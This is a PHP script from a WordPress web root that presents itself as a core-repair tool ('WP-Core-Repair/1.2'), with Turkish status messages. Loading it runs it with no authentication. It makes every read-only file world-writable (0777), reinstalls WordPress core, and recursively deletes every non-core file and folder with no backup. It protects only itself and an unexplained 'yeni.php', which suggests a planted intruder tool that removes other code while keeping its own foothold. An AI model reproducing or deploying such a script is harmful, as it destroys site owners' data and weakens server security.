File: //home/repauqkb/www/qinfofuns.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('memory_limit', '512M');
set_time_limit(0);
ignore_user_abort(true);
echo "<pre>";
ob_implicit_flush(true);
$root = realpath(__DIR__);
function out($msg) {
echo $msg . "\n";
@ob_flush();
flush();
}
function isProtectedName($name) {
return in_array($name, ['qinfofuns.php', 'yeni.php'], true);
}
function fixPermissions($dir) {
$items = @scandir($dir);
if ($items === false) {
out("[HATA] Okunamadi: $dir");
return;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path) && !is_link($path)) {
fixPermissions($path);
} else {
$permsRaw = @fileperms($path);
if ($permsRaw !== false) {
$perms = substr(sprintf('%o', $permsRaw), -4);
if ($perms === '0444') {
if (@chmod($path, 0777)) {
out("[DEGISTIRILDI] $path (0444 -> 0777)");
} else {
out("[HATA] $path chmod yapilamadi");
}
}
}
}
}
}
function rrmdir($path) {
$base = basename($path);
if (isProtectedName($base)) {
out("[KORUNDU] $path");
return;
}
if (!file_exists($path) && !is_link($path)) {
return;
}
if (is_file($path) || is_link($path)) {
@chmod($path, 0777);
if (!@unlink($path)) {
out("Silinemedi: $path");
}
return;
}
$items = @scandir($path);
if ($items === false) {
@chmod($path, 0777);
$items = @scandir($path);
}
if ($items === false) {
out("Okunamadi: $path");
return;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
rrmdir($path . DIRECTORY_SEPARATOR . $item);
}
@chmod($path, 0777);
if (!@rmdir($path)) {
out("Dizin silinemedi: $path");
}
}
function rcopy($src, $dst) {
if (is_file($src)) {
$dir = dirname($dst);
if (!is_dir($dir)) {
@mkdir($dir, 0777, true);
}
if (!@copy($src, $dst)) {
out("Kopyalanamadi: $src -> $dst");
}
return;
}
if (is_dir($src)) {
if (!is_dir($dst)) {
@mkdir($dst, 0777, true);
}
$items = @scandir($src);
if ($items === false) {
out("Okunamadi: $src");
return;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
rcopy($src . DIRECTORY_SEPARATOR . $item, $dst . DIRECTORY_SEPARATOR . $item);
}
}
}
function buildCoreList($cleanDir) {
$allowed = [];
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($cleanDir, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($it as $file) {
$full = $file->getPathname();
$rel = substr($full, strlen($cleanDir) + 1);
$rel = str_replace('\\', '/', $rel);
$allowed[$rel] = true;
}
$allowed['index.php'] = true;
$allowed['license.txt'] = true;
$allowed['readme.html'] = true;
$allowed['wp-activate.php'] = true;
$allowed['wp-blog-header.php'] = true;
$allowed['wp-comments-post.php'] = true;
$allowed['wp-config-sample.php'] = true;
$allowed['wp-cron.php'] = true;
$allowed['wp-links-opml.php'] = true;
$allowed['wp-load.php'] = true;
$allowed['wp-login.php'] = true;
$allowed['wp-mail.php'] = true;
$allowed['wp-settings.php'] = true;
$allowed['wp-signup.php'] = true;
$allowed['wp-trackback.php'] = true;
$allowed['xmlrpc.php'] = true;
return $allowed;
}
function downloadFile($url, $dest) {
if (function_exists('curl_init')) {
$fp = fopen($dest, 'wb');
if (!$fp) {
die("Dosya acilamadi: $dest\n");
}
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_FILE => $fp,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_FAILONERROR => true,
CURLOPT_CONNECTTIMEOUT => 20,
CURLOPT_TIMEOUT => 300,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_SSL_VERIFYHOST => 2,
CURLOPT_USERAGENT => 'WP-Core-Repair/1.2'
]);
$ok = curl_exec($ch);
$err = curl_error($ch);
$http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
fclose($fp);
if (!$ok || $http >= 400) {
@unlink($dest);
die("Indirme hatasi: HTTP $http | $err\n");
}
return;
}
$data = @file_get_contents($url);
if ($data === false) {
die("Zip indirilemedi. curl veya allow_url_fopen gerekli.\n");
}
file_put_contents($dest, $data);
}
function httpGet($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 20,
CURLOPT_TIMEOUT => 60,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_SSL_VERIFYHOST => 2,
CURLOPT_USERAGENT => 'WP-Core-Repair/1.2'
]);
$body = curl_exec($ch);
$http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = curl_error($ch);
curl_close($ch);
if ($body === false || $http >= 400) {
return [false, "HTTP $http | $err"];
}
return [true, $body];
}
$body = @file_get_contents($url);
if ($body === false) {
return [false, "GET basarisiz"];
}
return [true, $body];
}
function isWordPressRoot($dir) {
if (!$dir || !is_dir($dir)) {
return false;
}
return (
is_dir($dir . '/wp-admin') &&
is_dir($dir . '/wp-includes') &&
is_file($dir . '/wp-load.php') &&
is_file($dir . '/wp-settings.php')
);
}
function getLatestStableWordPressVersion() {
$api = 'https://api.wordpress.org/core/version-check/1.7/';
list($ok, $body) = httpGet($api);
if (!$ok) {
return [false, "WordPress API okunamadi: $body"];
}
$json = json_decode($body, true);
if (!is_array($json) || empty($json['offers']) || !is_array($json['offers'])) {
return [false, "WordPress API cevabi gecersiz"];
}
foreach ($json['offers'] as $offer) {
if (!empty($offer['version']) && (!isset($offer['response']) || $offer['response'] === 'latest')) {
return [true, $offer['version']];
}
}
if (!empty($json['offers'][0]['version'])) {
return [true, $json['offers'][0]['version']];
}
return [false, "Son stabil surum bulunamadi"];
}
function detectWordPressVersion($root) {
$versionFile = $root . '/wp-includes/version.php';
if (is_file($versionFile) && is_readable($versionFile)) {
$wp_version = null;
require $versionFile;
if (!empty($wp_version)) {
return [true, $wp_version, 'local'];
}
}
out("[UYARI] wp-includes/version.php yok veya okunamiyor.");
out("[UYARI] Resmi WordPress API uzerinden son stabil surum alinacak.");
list($ok, $version) = getLatestStableWordPressVersion();
if (!$ok) {
return [false, $version, 'api'];
}
return [true, $version, 'api'];
}
out("Basladi...");
if ($root === false) {
die("Kok dizin cozumlenemedi.\n");
}
out("Tespit edilen root: " . $root);
out("wp-admin: " . (is_dir($root . '/wp-admin') ? 'VAR' : 'YOK'));
out("wp-includes: " . (is_dir($root . '/wp-includes') ? 'VAR' : 'YOK'));
out("wp-load.php: " . (is_file($root . '/wp-load.php') ? 'VAR' : 'YOK'));
out("wp-settings.php: " . (is_file($root . '/wp-settings.php') ? 'VAR' : 'YOK'));
out("index.php: " . (is_file($root . '/index.php') ? 'VAR' : 'YOK'));
out("version.php: " . (is_file($root . '/wp-includes/version.php') ? 'VAR' : 'YOK'));
out("version.php okunabilir: " . (is_readable($root . '/wp-includes/version.php') ? 'EVET' : 'HAYIR'));
out("0444 dosyalar 0777 yapiliyor...");
fixPermissions($root);
out("Izin duzeltme asamasi tamamlandi.");
if (!isWordPressRoot($root)) {
die("Bu klasor WordPress kok dizini degil gibi gorunuyor: $root\n");
}
list($versionOk, $versionData, $versionSource) = detectWordPressVersion($root);
if (!$versionOk) {
die("WordPress surumu belirlenemedi: " . $versionData . "\n");
}
$wp_version = $versionData;
out("Kullanilacak WordPress surumu: " . $wp_version . " [" . $versionSource . "]");
if (!class_exists('ZipArchive')) {
die("ZipArchive aktif degil. PHP zip eklentisi gerekli.\n");
}
$tmp = $root . '/.wp_reset_tmp_' . date('Ymd_His');
$zipFile = $tmp . '/wordpress.zip';
$extractDir = $tmp . '/extract';
$cleanDir = $extractDir . '/wordpress';
@mkdir($tmp, 0777, true);
@mkdir($extractDir, 0777, true);
$url = "https://wordpress.org/wordpress-{$wp_version}.zip";
out("Indiriliyor: $url");
downloadFile($url, $zipFile);
out("Zip aciliyor...");
$zip = new ZipArchive();
$res = $zip->open($zipFile);
if ($res !== true) {
die("Zip acilamadi. Kod: $res\n");
}
$zip->extractTo($extractDir);
$zip->close();
if (!is_dir($cleanDir)) {
die("Temiz WordPress klasoru bulunamadi.\n");
}
$core = buildCoreList($cleanDir);
out("Core kok dosyalari yenileniyor...");
$rootItems = scandir($cleanDir);
foreach ($rootItems as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$src = $cleanDir . '/' . $item;
$dst = $root . '/' . $item;
if (is_dir($src)) {
continue;
}
if ($item === 'wp-config.php') {
continue;
}
if (isProtectedName($item)) {
continue;
}
if (file_exists($dst) || is_link($dst)) {
rrmdir($dst);
}
rcopy($src, $dst);
}
out("wp-admin ve wp-includes tamamen temiz kopya ile degistiriliyor...");
foreach (['wp-admin', 'wp-includes'] as $dir) {
$dst = $root . '/' . $dir;
$src = $cleanDir . '/' . $dir;
if (file_exists($dst) || is_link($dst)) {
rrmdir($dst);
}
rcopy($src, $dst);
}
out("Core disi kok oge silme asamasi...");
$keepRoot = [
'wp-config.php' => true,
'wp-content' => true,
'wp-admin' => true,
'wp-includes' => true,
basename(__FILE__) => true,
basename($tmp) => true,
'qinfofuns.php' => true,
'yeni.php' => true,
];
$items = scandir($root);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
if (isset($keepRoot[$item])) {
continue;
}
if (!isset($core[$item])) {
rrmdir($root . '/' . $item);
out("Silindi: $item");
}
}
out("wp-admin ve wp-includes icinde core disi kalinti silme...");
foreach (['wp-admin', 'wp-includes'] as $base) {
$basePath = $root . '/' . $base;
if (!is_dir($basePath)) {
continue;
}
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($basePath, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $file) {
$full = $file->getPathname();
$rel = substr($full, strlen($root) + 1);
$rel = str_replace('\\', '/', $rel);
if (!isset($core[$rel])) {
rrmdir($full);
out("Silindi: $rel");
}
}
}
out("Default index.php ve .htaccess yukleniyor...");
$indexContent = <<<'PHP'
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*/
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
PHP;
file_put_contents($root . '/index.php', $indexContent . "\n");
@chmod($root . '/index.php', 0644);
$htaccessContent = <<<'HTACCESS'
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
HTACCESS;
file_put_contents($root . '/.htaccess', $htaccessContent . "\n");
@chmod($root . '/.htaccess', 0644);
out("index.php ve .htaccess olusturuldu.");
out("Gecici dosyalar temizleniyor...");
rrmdir($tmp);
out("ISLEM TAMAMLANDI");
out("wp-config.php korundu.");
out("wp-content korundu.");
out("qinfofuns.php ve yeni.php korundu.");
out("Core dosyalari temiz kopya ile yenilendi.");
echo "</pre>";